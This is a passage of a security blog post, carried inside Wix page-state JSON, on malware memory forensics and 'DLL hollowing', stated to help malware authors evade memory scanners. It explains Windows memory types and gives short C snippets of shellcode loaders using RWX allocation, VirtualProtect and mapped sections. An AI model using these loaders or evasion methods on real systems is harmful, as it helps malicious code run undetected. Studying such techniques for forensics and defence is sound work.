","specs.wixBlog.AnonymousLikes":"true","specs.wixBlog.EmotionInstancePerRequest":"true","specs.blogImporter.EnableRollbackOfMigrationsBM":"false","specs.wixBlog.CreateOfflineUser":"true","specs.wixBlog.SeparateTranslationsForRecentPosts":"true","specs.wixBlog.RcvGiphyPlugin":"false","specs.wixBlog.UsePingSubscriptionService":"true","specs.wixBlog.UseSiteQueryService":"false","specs.wixBlog.UseRelooseInBlogApp":"true","specs.wixBlog.OptimizeCustomFeedBundle":"true","specs.wixBlog.UseDuplexer":"true","specs.wixBlog.ConditionallyIncludeRce":"false","specs.wixBlog.MetaSiteServiceUseReloose":"true","specs.wixBlog.ShareOnLinkedIn":"true","specs.wixBlog.SeparateRecentPostsWidgetBundles":"true"},"appData":{"_id":"78e72780-ec1a-4e43-97c1-217c79d55e2f","label":"Your Blog","menuLabel":"Posts","description":"","language":"en","subject":"finance","cover":{"original_file_name":"a27d24_85296a50517f45428acb01b9c4911ba1~mv2_d_3992_1513_s_2.jpg","file_name":"a27d24_85296a50517f45428acb01b9c4911ba1~mv2_d_3992_1513_s_2.jpg","width":3992,"height":1513},"overlayColor":{"color":"#ffffff","opacity":0.35},"backgroundColor":{"color":"#FFFFFF","opacity":0},"coverType":"color","textColor":{"color":"#000000","opacity":1},"postPageEnabled":true,"sendEmailsToSiteSubscribers":false},"header":{"offset":0,"height":0},"isAppLoaded":false,"isDemoMode":false,"isLoaded":{"post":{"malicious-memory-artifacts-part-i-dll-hollowing":true}},"isLoading":{"post":{"malicious-memory-artifacts-part-i-dll-hollowing":false}},"isPostInPreview":false,"lastPostSlug":"","loadingBar":0,"locale":"en","locationHistory":{"key":null,"items":[{"pathname":"\u002Fmalicious-memory-artifacts-part-i-dll-hollowing","search":"","hash":"","key":null,"query":{}}]},"members":{"idList":[],"metadata":{"count":0}},"message":{},"modal":{"byId":{},"idList":[]},"pagination":{"comments":{"entitiesByPage":{}},"posts":{"entitiesByPage":{}},"posts-unpublished":{"entitiesByPage":{}},"posts-published":{"entitiesByPage":{}},"posts-scheduled":{"entitiesByPage":{}},"posts-deleted":{"entitiesByPage":{}}},"posts":{"5d9522f75935600017eb4031":{"_id":"5d9522f75935600017eb4031","instanceId":"78e72780-ec1a-4e43-97c1-217c79d55e2f","status":"published","categoryIds":[],"createdDate":"2019-10-02T22:21:43.981Z","lastPublishedDate":"2019-10-08T16:10:51.015Z","slugs":["malicious-memory-artifacts-part-i-dll-hollowing"],"seoSlug":"malicious-memory-artifacts-part-i-dll-hollowing","seoDescription":"This will be the first post in a series on malware memory forensics and bypassing defensive scanners. It was written with the assumption that the reader understands the basics of Windows internals and malware design. I will not be discussing the nature of the shellcode, process injection, process hollowing","ownerId":"5d93ba86d7041a0017564e20","ownerSiteMemberId":"c1d8f646-2e7f-4989-bd55-0f3142c74189","lastWriterId":"5d93ba86d7041a0017564e20","isPinned":false,"isCommentsDisabled":false,"likeCount":0,"timeToRead":14,"viewCount":291,"totalComments":0,"lastActivityDate":"2019-10-02T22:21:43.981Z","isFeatured":false,"firstPublishedDate":"2019-10-02T22:23:21.231Z","seoShowInSearch":true,"seoShowSnippetInSearch":true,"content":{"blocks":[{"key":"foo","text":"","type":"unstyled","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}},{"key":"32ri4","text":" ","type":"atomic","depth":0,"inlineStyleRanges":[],"entityRanges":[{"offset":0,"length":1,"key":0}],"data":{}},{"key":"akrgi","text":"Introduction","type":"header-three","depth":0,"inlineStyleRanges":[{"offset":0,"length":12,"style":"BOLD"}],"entityRanges":[],"data":{}},{"key":"bo1i8","text":"I've written this article with the intention of improving the skill of the reader as relating to the topic of memory stealth when designing malware. First by detailing a technique I term DLL hollowing which has not yet gained widespread recognition among attackers, and second by introducing the reader to one of my own variations of this technique which I call phantom DLL hollowing (the PoC for which can be found on Github).","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":419,"length":6,"style":"UNDERLINE"}],"entityRanges":[{"offset":419,"length":6,"key":1}],"data":{}},{"key":"72sn9","text":"","type":"unstyled","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}},{"key":"asbqn","text":"This will be the first post in a series on malware forensics and bypassing defensive scanners. It was written with the assumption that the reader understands the basics of Windows internals and malware design. ","type":"unstyled","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}},{"key":"1eek","text":"","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}},{"key":"fd0hm","text":"Legitimate memory allocation","type":"header-three","depth":0,"inlineStyleRanges":[{"offset":0,"length":28,"style":"BOLD"}],"entityRanges":[],"data":{}},{"key":"96l73","text":"In order to understand how defenders are able to pick up on malicious memory artifacts with minimal false positives using point-in-time memory scanners such as Get-InjectedThread and malfind it is essential for one to understand what constitutes “normal” memory allocation and how malicious allocation deviates from this norm. For our purposes, typical process memory can be broken up into 3 different categories:","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":160,"length":18,"style":"UNDERLINE"},{"offset":183,"length":7,"style":"UNDERLINE"}],"entityRanges":[{"offset":160,"length":18,"key":2},{"offset":183,"length":7,"key":3}],"data":{}},{"key":"7d9qv","text":"Private memory – not to be confused with memory that is un-shareable with other processes. All memory allocated via NTDLL.DLL!NtAllocateVirtualMemory falls into this category (this includes heap and stack memory).","type":"unordered-list-item","depth":0,"inlineStyleRanges":[{"offset":116,"length":33,"style":"UNDERLINE"}],"entityRanges":[{"offset":116,"length":33,"key":4}],"data":{}},{"key":"8m39o","text":"Mapped memory – mapped views of sections which may or may not be created from files on disk. This does not include PE files mapped from sections created with the SEC_IMAGE flag.","type":"unordered-list-item","depth":0,"inlineStyleRanges":[{"offset":162,"length":9,"style":"BOLD"},{"offset":162,"length":9,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"1fush","text":"Image memory – mapped views of sections created with the SEC_IMAGE flag from PE files on disk. This is distinct from mapped memory. Although image memory is technically a mapped view of a file on disk just as mapped memory may be, they are distinctively different categories of memory.","type":"unordered-list-item","depth":0,"inlineStyleRanges":[{"offset":57,"length":9,"style":"BOLD"},{"offset":57,"length":9,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"ae5v8","text":"These categories directly correspond to the Type field in the MEMORY_BASIC_INFORMATION structure. This structure is strictly a usermode concept, and is not stored independently but rather is populated using the kernel mode VAD, PTE and section objects associated with the specified process. On a deeper level the key difference between private and shared (mapped\u002Fimage) memory is that shared memory is derived from section objects, a construct specifically designed to allow memory to be shared between processes. With this being said, the term “private memory” can be a confusing terminology in that it implies all sections are shared between processes, which is not the case. Sections and their related mapped memory may also be private although they will not technically be “private memory,” as this term is typically used to refer to all memory which is never shared (not derived from a section). The distinction between mapped and image memory stems from the control area of their foundational section object.","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":44,"length":4,"style":"BOLD"},{"offset":858,"length":5,"style":"BOLD"},{"offset":964,"length":12,"style":"BOLD"},{"offset":62,"length":25,"style":"UNDERLINE"},{"offset":858,"length":5,"style":"ITALIC"},{"offset":964,"length":12,"style":"ITALIC"}],"entityRanges":[{"offset":62,"length":25,"key":5}],"data":{}},{"key":"cfcfj","text":"","type":"unstyled","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}},{"key":"d8p1v","text":"In order to give the clearest possible picture of what constitutes legitimate memory allocation I wrote a memory scanner (the PoC for which can be found on Github) which uses the characteristics of the MEMORY_BASIC_INFORMATION structure returned by KERNEL32.DLL!VirtualQuery to statistically calculate the most common permission attributes of each of the three aforementioned memory types across all accessible processes. In the screenshot below I've executed this scanner on an unadulterated Windows 8 VM.","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":156,"length":6,"style":"UNDERLINE"},{"offset":202,"length":24,"style":"UNDERLINE"},{"offset":249,"length":25,"style":"UNDERLINE"}],"entityRanges":[{"offset":156,"length":6,"key":6},{"offset":202,"length":24,"key":7},{"offset":249,"length":25,"key":8}],"data":{}},{"key":"d0mc0","text":" ","type":"atomic","depth":0,"inlineStyleRanges":[],"entityRanges":[{"offset":0,"length":1,"key":9}],"data":{}},{"key":"3iq4c","text":"Understanding these statistics is not difficult. The majority of private memory is +RW, consistent with its usage in stack and heap allocation. Mapped memory is largely readonly, an aspect which is also intuitive considering that the primary usage of such memory is to map existing .db, .mui and .dat files from disk into memory for the application to read. Most notably from the perspective of a malware writer is that executable memory is almost exclusively the domain of image mappings. In particular +RX regions (as opposed to +RWX) which correspond to the .text sections of DLL modules loaded into active processes.","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":83,"length":3,"style":"ITALIC"},{"offset":282,"length":3,"style":"ITALIC"},{"offset":287,"length":4,"style":"ITALIC"},{"offset":296,"length":4,"style":"ITALIC"},{"offset":504,"length":3,"style":"ITALIC"},{"offset":531,"length":4,"style":"ITALIC"},{"offset":282,"length":3,"style":"BOLD"},{"offset":287,"length":4,"style":"BOLD"},{"offset":296,"length":4,"style":"BOLD"}],"entityRanges":[],"data":{}},{"key":"4ben1","text":" ","type":"atomic","depth":0,"inlineStyleRanges":[],"entityRanges":[{"offset":0,"length":1,"key":10}],"data":{}},{"key":"cd8mv","text":"In Figure 2, taken from the memory map of an explorer.exe process, image memory is shown split into multiple separate regions. Those corresponding to the PE header and subsequent sections, along with a predictable set of permissions (+RX for .text, +RW for .data, +R for .rsrc and so forth). The Info field is actually an abstraction of x64dbg and not a characteristic of the memory itself: x64dbg has walked the PEB loaded module list searching for an entry with a base address that matches the region base, and then set the Info for its PE headers to the module name, and each subsequent region within the map has had its Info set to its corresponding IMAGE_SECTION_HEADER.Name, as determined by calculating which regions correspond to each mapped image base + IMAGE_SECTION_HEADER.VirtualAddress. ","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":3,"length":8,"style":"BOLD"},{"offset":242,"length":5,"style":"BOLD"},{"offset":257,"length":5,"style":"BOLD"},{"offset":271,"length":5,"style":"BOLD"},{"offset":296,"length":4,"style":"BOLD"},{"offset":526,"length":4,"style":"BOLD"},{"offset":624,"length":4,"style":"BOLD"},{"offset":3,"length":8,"style":"ITALIC"},{"offset":234,"length":3,"style":"ITALIC"},{"offset":242,"length":5,"style":"ITALIC"},{"offset":249,"length":3,"style":"ITALIC"},{"offset":257,"length":5,"style":"ITALIC"},{"offset":264,"length":2,"style":"ITALIC"},{"offset":271,"length":5,"style":"ITALIC"},{"offset":654,"length":25,"style":"ITALIC"},{"offset":763,"length":35,"style":"ITALIC"},{"offset":337,"length":6,"style":"UNDERLINE"},{"offset":391,"length":6,"style":"UNDERLINE"}],"entityRanges":[{"offset":337,"length":6,"key":11},{"offset":391,"length":6,"key":12}],"data":{}},{"key":"a8mhk","text":"","type":"unstyled","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}},{"key":"cghn3","text":"Classic malware memory allocation","type":"header-three","depth":0,"inlineStyleRanges":[{"offset":0,"length":33,"style":"BOLD"}],"entityRanges":[],"data":{}},{"key":"85j1e","text":"Malware writers have a limited set of tools in their arsenal to allocate executable memory for their code. This operation is however essential to process injection, process hollowing and packers\u002Fcrypters. In brief, the classic technique for any form of malicious code allocation involved using NTDLL.DLL!NtAllocateVirtualMemory to allocate a block of +RWX permission memory and then writing either a shellcode or full PE into it, depending on the genre of attack.","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":294,"length":33,"style":"UNDERLINE"},{"offset":351,"length":4,"style":"ITALIC"}],"entityRanges":[{"offset":294,"length":33,"key":13}],"data":{}},{"key":"47n8f","text":"","type":"unstyled","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}},{"key":"aiomi","text":"uint8_t* pShellcodeMemory = (uint8_t*)VirtualAlloc(","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":51,"style":"ITALIC"},{"offset":0,"length":51,"style":"#92908d"}],"entityRanges":[],"data":{}},{"key":"1rkbd","text":"    nullptr,","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":12,"style":"ITALIC"},{"offset":0,"length":12,"style":"#92908d"}],"entityRanges":[],"data":{}},{"key":"856ed","text":"    dwShellcodeSize,","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":20,"style":"ITALIC"},{"offset":0,"length":20,"style":"#92908d"}],"entityRanges":[],"data":{}},{"key":"dbgf0","text":"    MEM_COMMIT|MEM_RESERVE,","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":27,"style":"ITALIC"},{"offset":0,"length":27,"style":"#92908d"}],"entityRanges":[],"data":{}},{"key":"ec7b1","text":"    PAGE_EXECUTE_READWRITE);","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":28,"style":"ITALIC"},{"offset":0,"length":28,"style":"#92908d"}],"entityRanges":[],"data":{}},{"key":"bpr6v","text":"","type":"unstyled","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}},{"key":"facbn","text":"memcpy(pShellcodeMemory, Shellcode, dwShellcodeSize);","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":53,"style":"ITALIC"},{"offset":0,"length":53,"style":"#92908d"}],"entityRanges":[],"data":{}},{"key":"iur5","text":"","type":"unstyled","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}},{"key":"2udkc","text":"CreateThread(","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":13,"style":"ITALIC"},{"offset":0,"length":13,"style":"#92908d"}],"entityRanges":[],"data":{}},{"key":"a4ht5","text":"    nullptr,","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":12,"style":"ITALIC"},{"offset":0,"length":12,"style":"#92908d"}],"entityRanges":[],"data":{}},{"key":"8epmn","text":"    0,","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":6,"style":"ITALIC"},{"offset":0,"length":6,"style":"#92908d"}],"entityRanges":[],"data":{}},{"key":"b5t0f","text":"    (LPTHREAD_START_ROUTINE)pShellcodeMemory,","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":45,"style":"ITALIC"},{"offset":0,"length":45,"style":"#92908d"}],"entityRanges":[],"data":{}},{"key":"amuqg","text":"    nullptr,","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":12,"style":"ITALIC"},{"offset":0,"length":12,"style":"#92908d"}],"entityRanges":[],"data":{}},{"key":"evvp3","text":"    0,","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":6,"style":"ITALIC"},{"offset":0,"length":6,"style":"#92908d"}],"entityRanges":[],"data":{}},{"key":"47dbf","text":"    nullptr);","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":13,"style":"ITALIC"},{"offset":0,"length":13,"style":"#92908d"}],"entityRanges":[],"data":{}},{"key":"e3mse","text":"\nLater this technique evolved as both attackers and defenders increased in sophistication, leading malware writers to use a combination of NTDLL.DLL!NtAllocateVirtualMemory with +RW permissions and NTDLL.DLL!NtProtectVirtualMemory after the malicious code had been written to the region to set it to +RX before execution. In the case of process hollowing using a full PE rather than a shellcode, attackers begun correctly modifying the permissions of +RW memory they allocated for the PE to reflect the permission characteristics of the PE on a per-section basis. The benefit of this was twofold: no +RWX memory was allocated (which is suspicious in of itself) and the VAD entry for the malicious region would still read as +RW even after the permissions had been modified, further thwarting memory forensics.","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":139,"length":33,"style":"UNDERLINE"},{"offset":198,"length":32,"style":"UNDERLINE"},{"offset":178,"length":3,"style":"ITALIC"},{"offset":451,"length":3,"style":"ITALIC"},{"offset":599,"length":5,"style":"ITALIC"},{"offset":724,"length":3,"style":"ITALIC"}],"entityRanges":[{"offset":139,"length":33,"key":14},{"offset":198,"length":32,"key":15}],"data":{}},{"key":"4flj","text":"","type":"unstyled","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}},{"key":"e7ic8","text":"uint8_t* pShellcodeMemory = (uint8_t*)VirtualAlloc(","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":51,"style":"#92908d"},{"offset":0,"length":51,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"77p20","text":"    nullptr,","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":12,"style":"#92908d"},{"offset":0,"length":12,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"219go","text":"    dwShellcodeSize,","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":20,"style":"#92908d"},{"offset":0,"length":20,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"c2nur","text":"    MEM_COMMIT|MEM_RESERVE,","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":27,"style":"#92908d"},{"offset":0,"length":27,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"7cbpr","text":"    PAGE_READWRITE);","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":20,"style":"#92908d"},{"offset":0,"length":20,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"f9s3q","text":"","type":"unstyled","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}},{"key":"a3m1f","text":"memcpy(pShellcodeMemory, Shellcode, dwShellcodeSize);","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":53,"style":"#92908d"},{"offset":0,"length":53,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"68h32","text":"","type":"unstyled","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}},{"key":"7g0sa","text":"VirtualProtect(","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":15,"style":"#92908d"},{"offset":0,"length":15,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"f5ul7","text":"    pShellcodeMemory,","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":21,"style":"#92908d"},{"offset":0,"length":21,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"2ks1l","text":"    dwShellcodeSize,","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":20,"style":"#92908d"},{"offset":0,"length":20,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"8rs3e","text":"    PAGE_EXECUTE_READ,","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":22,"style":"#92908d"},{"offset":0,"length":22,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"3pjkv","text":"    (PDWORD)&dwOldProtect);","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":27,"style":"#92908d"},{"offset":0,"length":27,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"2qcaq","text":"","type":"unstyled","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}},{"key":"c1kt2","text":"CreateThread(","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":13,"style":"#92908d"},{"offset":0,"length":13,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"4bold","text":"    nullptr,","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":12,"style":"#92908d"},{"offset":0,"length":12,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"ddki0","text":"    0,","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":6,"style":"#92908d"},{"offset":0,"length":6,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"2o2h0","text":"    (LPTHREAD_START_ROUTINE)pShellcodeMemory,","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":45,"style":"#92908d"},{"offset":0,"length":45,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"75mbn","text":"    nullptr,","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":12,"style":"#92908d"},{"offset":0,"length":12,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"30t75","text":"    0,","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":6,"style":"#92908d"},{"offset":0,"length":6,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"511it","text":"    nullptr);","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":13,"style":"#92908d"},{"offset":0,"length":13,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"1snif","text":"","type":"unstyled","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}},{"key":"9sko0","text":"More recently, attackers have transitioned to an approach of utilizing sections for their malicious code execution. This is achieved by first creating a section from the page file which will hold the malicious code. Next the section is mapped to the local process (and optionally a remote one as well) and directly modified. Changes to the local view of the section will also cause remote views to be modified as well, thus bypassing the need for APIs such as KERNEL32.DLL!WriteProcessMemory to write malicious code into remote process address space.","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":460,"length":31,"style":"UNDERLINE"}],"entityRanges":[{"offset":460,"length":31,"key":16}],"data":{}},{"key":"1pd6h","text":"","type":"unstyled","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}},{"key":"7h0pi","text":"LARGE_INTEGER SectionMaxSize = { 0,0 };","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":39,"style":"#92908d"},{"offset":0,"length":39,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"5kv50","text":"NTSTATUS NtStatus","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":17,"style":"#92908d"},{"offset":0,"length":17,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"4sntl","text":"","type":"unstyled","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}},{"key":"2td0l","text":"SectionMaxSize.LowPart = dwShellcodeSize;","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":41,"style":"#92908d"},{"offset":0,"length":41,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"7c1c1","text":"","type":"unstyled","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}},{"key":"3bmr4","text":"NtStatus = NtCreateSection(","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":27,"style":"#92908d"},{"offset":0,"length":27,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"bfjds","text":"    &hSection,","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":14,"style":"#92908d"},{"offset":0,"length":14,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"ciad4","text":"    SECTION_MAP_EXECUTE | SECTION_MAP_READ | SECTION_MAP_WRITE,","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":63,"style":"#92908d"},{"offset":0,"length":63,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"6d3gt","text":"    NULL, &SectionMaxSize,","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":26,"style":"#92908d"},{"offset":0,"length":26,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"fgeii","text":"    PAGE_EXECUTE_READWRITE,","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":27,"style":"#92908d"},{"offset":0,"length":27,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"38tno","text":"    SEC_COMMIT,","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":15,"style":"#92908d"},{"offset":0,"length":15,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"kb5e","text":"    NULL);","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":10,"style":"#92908d"},{"offset":0,"length":10,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"btr18","text":"","type":"unstyled","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}},{"key":"b1n3r","text":"if (NT_SUCCESS(NtStatus)) {","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":27,"style":"#92908d"},{"offset":0,"length":27,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"fhe2l","text":"    NtStatus = NtMapViewOfSection(","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":34,"style":"#92908d"},{"offset":0,"length":34,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"8772k","text":"        hSection,","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":17,"style":"#92908d"},{"offset":0,"length":17,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"elk8u","text":"        GetCurrentProcess(),","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":28,"style":"#92908d"},{"offset":0,"length":28,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"e5ir7","text":"        (void **)&pShellcodeMemory,","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":35,"style":"#92908d"},{"offset":0,"length":35,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"efqkj","text":"        NULL, NULL, NULL,","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":25,"style":"#92908d"},{"offset":0,"length":25,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"7m4tb","text":"        &cbViewSize,","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":20,"style":"#92908d"},{"offset":0,"length":20,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"cartu","text":"        2,","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":10,"style":"#92908d"},{"offset":0,"length":10,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"4hmf","text":"        NULL,","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":13,"style":"#92908d"},{"offset":0,"length":13,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"295n","text":"        PAGE_EXECUTE_READWRITE);","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":32,"style":"#92908d"},{"offset":0,"length":32,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"7brv3","text":"","type":"unstyled","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}},{"key":"9u8a3","text":"    if (NT_SUCCESS(NtStatus)) {","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":31,"style":"#92908d"},{"offset":0,"length":31,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"9859r","text":"        memcpy(pShellcodeMemory, Shellcode, dwShellcodeSize);","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":61,"style":"#92908d"},{"offset":0,"length":61,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"av6gc","text":"","type":"unstyled","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}},{"key":"cm6e9","text":"        CreateThread(","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":21,"style":"#92908d"},{"offset":0,"length":21,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"e0kra","text":"            nullptr,","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":20,"style":"#92908d"},{"offset":0,"length":20,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"60b30","text":"            0,","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":14,"style":"#92908d"},{"offset":0,"length":14,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"295f5","text":"            (LPTHREAD_START_ROUTINE)pShellcodeMemory,","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":53,"style":"#92908d"},{"offset":0,"length":53,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"fc07l","text":"            nullptr,","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":20,"style":"#92908d"},{"offset":0,"length":20,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"di8mk","text":"            0,","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":14,"style":"#92908d"},{"offset":0,"length":14,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"at7r9","text":"            nullptr);","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":21,"style":"#92908d"},{"offset":0,"length":21,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"1hbcp","text":"    }","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":5,"style":"#92908d"},{"offset":0,"length":5,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"f2p2l","text":"}","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":1,"style":"#92908d"},{"offset":0,"length":1,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"10a27","text":"","type":"unstyled","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}},{"key":"9j6lr","text":"While this has the benefit of being (at present) slightly less common than direct virtual memory allocation with NTDLL.DLL!NtAllocateVirtualMemory, it creates similar malicious memory artifacts for defenders to look out for. One key difference between the two methods is that NTDLL.DLL!NtAllocateVirtualMemory will allocate private memory, whereas mapped section views will allocate mapped memory (shared section memory with a data control area).","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":113,"length":33,"style":"UNDERLINE"},{"offset":276,"length":33,"style":"UNDERLINE"},{"offset":432,"length":12,"style":"BOLD"}],"entityRanges":[{"offset":113,"length":33,"key":17},{"offset":276,"length":33,"key":18}],"data":{}},{"key":"d9f25","text":"","type":"unstyled","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}},{"key":"98okt","text":"While a malware writer may avoid the use of suspicious (and potentially monitored) APIs such as NTDLL.DLL!NtAllocateVirtualMemory and NTDLL.DLL!NtProtectVirtualMemory the end result in memory is ultimately quite similar with the key difference being the distinction between a MEM_MAPPED and MEM_PRIVATE memory type assigned to the shellcode 